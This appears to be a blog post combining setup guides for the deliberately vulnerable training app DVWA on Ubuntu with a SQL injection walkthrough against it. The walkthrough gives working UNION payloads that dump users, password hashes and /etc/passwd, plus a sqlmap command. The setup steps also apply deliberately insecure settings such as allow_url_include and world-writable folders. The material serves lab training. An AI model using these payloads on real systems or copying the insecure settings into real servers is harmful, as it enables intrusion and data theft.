HOWTO : Install DVWA on Ubuntu 18.04.1 LTS

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.


Step 1 :

sudo apt install php7.2 php7.2-gd php-mysql mysql-server apache2 git

Set the MySQL server password as prompt.

Step 2 :

sudo mysql -u root -p

CREATE DATABASE dvwadb;

GRANT ALL PRIVILEGES ON dvwadb.* TO ‘dvwa’@’localhost’ IDENTIFIED BY ‘dvwapassword’;

Step 3 :

sudo nano /etc/php/7.2/apache2/php.ini

Change the "Off" to "On" :

allow_url_include = On

Step 4 :

cd /var/www/html

sudo git clone https://github.com/ethicalhack3r/DVWA.git

cd /var/www/html/DVWA

sudo chmod 777 /var/www/html/DVWA/config
sudo chmod 666 /var/www/html/DVWA/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
sudo chmod 777 /var/www/html/DVWA/hackable/uploads/

Step 5 :

sudo nano /etc/apache2/sites-enabled/000-default.conf

Append "/DVWA" as the end of "/var/www/html" :

DocumentRoot /var/www/html/DVWA

Step 6 :

sudo cp /var/www/html/DVWA/config/config.inc.php.dist /var/www/html/DVWA/config/config.inc.php

sudo nano /var/www/html/DVWA/config/config.inc.php

Make changes as the following :

$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwadb';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'dvwapassword';

Step 7 :

Go to https://www.google.com/recaptcha/admin to generate the keys for 'Insecure CAPTCHA' module and add to the related items at "config.inc.php".

Step 8 :

sudo systemctl restart apache2

Step 9 :

http://[server_ip_address]

The username is "admin" while the password is "password".

Beware that the DVWA is vulnerable and do not allow it to be accessed via public.

Step 10 (Optional) :

sudo apt install php7.2-fpm

sudo a2enmod proxy_fcgi setenvif
sudo a2enconf php7.2-fpm

That's all! See you.

HOWTO : DVWA SQL Injection

Security level = low

99 or 1=1
- will display all the records

99 or 1=1 union select 1,2,3
- will display "The used SELECT statements have a different number of columns" error message

99 or 1=1 union select 1,2
- no error message but display all records

99 or 1=1 union select null,null
- no error message but display all records

99 or 1=1 union select version(),database()
- will display the version of MySQL and the database name - dvwa

99 or 1=1 union select null, user()
or
99 or 1=1 union select user(), null
- will display the current user of the database

99 or 1=1 union select null, table_name from information_schema.tables
- will display all the table names

99 or 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'
- will display the users table column list

99 or 1=1 union select null, concat(first_name,0x0a,password) from users
- we are looking for users table's first_name and password

99 or 1=1 union select null,@@datadir
- will display the mysql directory

99 or 1=1 union all select null,load_file('/etc/passwd')
- will display the content of /etc/passwd

Security level = medium

99 or 1=1
- will display all the records

99 or 1=1 union select 1,2,3
- will display "The used SELECT statements have a different number of columns" error message

99 or 1=1 union select 1,2
- no error message but display all records

99 or 1=1 union select null,null
- no error message but display all records

99 or 1=1 union select version(),database()
- will display the version of MySQL and the database name - dvwa

99 or 1=1 union select null, user()
or
99 or 1=1 union select user(), null
- will display the current user of the database

99 or 1=1 union select null, table_name from information_schema.tables
- will display all the table names

99 or 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
- since where clause cannot be used, all column name should be listed

or

99 or 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name=0x7573657273
- where 0x7573657273 is Hex value of "users"

99 or 1=1 union select null, concat(first_name,0x0a,password) from users
- we are looking for users table's first_name and password

99 or 1=1 union select null,@@datadir
- will display the mysql directory

sqlmap for Security = low

./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns

For Security = medium is similar.

That's all! See you!

HOWTO : Install DVWA on Ubuntu Server 12.04 LTS

Step 1 :

Download DVWA.

wget https://github.com/RandomStorm/DVWA/archive/v1.0.8.zip

Step 2 :

Install essential packages if you do not install LAMP when installing the Ubuntu Server.

sudo apt-get install apache2 mysql-server php5 unzip php5-mysql php-pear*

* make sure you remember the root password of MySQL, e.g. dvwapass

Step 3 :

Extract DVWA.

sudo cp v1.0.8.zip /var/www/
unzip v1.0.8.zip

Step 4 :

sudo nano /var/www/DVWA/config/config.inc.php

Change the "db_password" to the captioned root password, e.g. dvwapass.

sudo nano /etc/apache2/conf.d/php.ini

change "allow_url_include = Off" to "allow_url_inclue = On".

sudo chmod -R 777 /var/www/DVWA/hackable/uploads/

Step 5 :

Create Database.

mysql -u root -p
create database dvwa;
quit

Step 6 :

Point your Firefox to "http://192.168.0.10/DVWA/setup.php" to create/reset database.

* where 192.168.0.10 is the IP address of the Ubuntu Server

Step 7 :

Then point your Firefox to "http://192.168.0.10/DVWA/index.php".

User name is "admin" and Password is "password".

That's all! See you.